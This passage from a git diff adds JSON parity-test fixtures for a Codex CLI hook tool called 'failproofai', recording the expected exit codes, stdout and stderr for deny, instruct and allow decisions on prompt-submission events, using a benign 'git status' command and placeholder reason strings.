"/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9c8885c1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d60ab997 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..23d31fe8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..43b375fe --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..13a19b72 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..87a1cd4d --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1633ab4f --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..131b6608 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..2fed176c --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f60a1c35 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..fe90f6a9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2a5b6508 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..729bf915 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f6aeb4b4 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..53f336ef --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2e77d6f5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..bcf5f5b8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..396ef627 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": 